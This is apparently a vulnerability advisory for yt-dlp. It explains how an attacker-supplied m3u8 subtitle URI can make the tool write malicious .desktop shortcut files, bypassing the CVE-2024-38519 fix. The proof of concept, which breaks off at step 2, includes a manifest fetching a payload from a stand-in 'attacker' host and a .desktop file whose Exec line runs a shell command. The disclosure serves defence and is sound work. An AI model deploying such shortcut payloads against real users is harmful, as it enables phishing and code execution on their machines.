yt-dlp: Dangerous file type creation via insufficient filename sanitization (Bypass of CVE-2024-38519)

Summary

A vulnerability exists in yt-dlp that allows a remote attacker to write arbitrary OS-shortcut files (such as .desktop, .url, .webloc) to the user's filesystem, bypassing the remediation for CVE-2024-38519.

Details

The fix for CVE-2024-38519 enforced an allowlist for file extensions, in order to prevent writing files with unsafe extensions (such as .exe or .sh) during file downloads. However, this allowlist explicitly included the unsafe extensions .desktop, .url, and .webloc so that the functionality of the --write-link option (and its variants) could be preserved. These allowlist inclusions can be exploited by an attacker to write malicious OS-shortcut files in the context of a media or subtitles download.

Numerous yt-dlp extractors derive the downloaded media or subtitles file extension from a potentially attacker-controlled source. An attacker could craft an m3u8 file that contains an EXT-X-MEDIA:TYPE=SUBTITLES tag with a malicious URI (e.g., URI="http://attacker/x.desktop"), which would result in yt-dlp writing the attacker-controlled content to a file with a .desktop extension if the user had passed the --write-subs option.

Writing OS-shortcut files next to downloaded videos provides a high-probability social engineering vector. The extension of the shortcut file is often hidden from the user, e.g. on Windows by default or on many Linux desktop environments.

While these shortcut files are typically used to point to web locations via URLs, they can also contain shell commands or point to remote executables. The user may be deceived into opening the malicious shortcut disguised as a "subtitles"/media file, leading to a phishing attack or arbitrary code execution.

Proof of Concept

1. Start a malicious server: Host a malicious master.m3u8 manifest that points to malicious subtitle payloads:

#EXTM3U
#EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID="subs",NAME="English",URI="http://attacker/payload.desktop",LANGUAGE="en"

And host the payload.desktop file with malicious content:

[Desktop Entry]
Type=Application
Exec=sh -c "touch /tmp/ytdlp_pwned_$(id -u)"
Name=Subtitle

2. Trigger the download: In this case, the generic extractor triggers the exploit if the --write-subs option is used: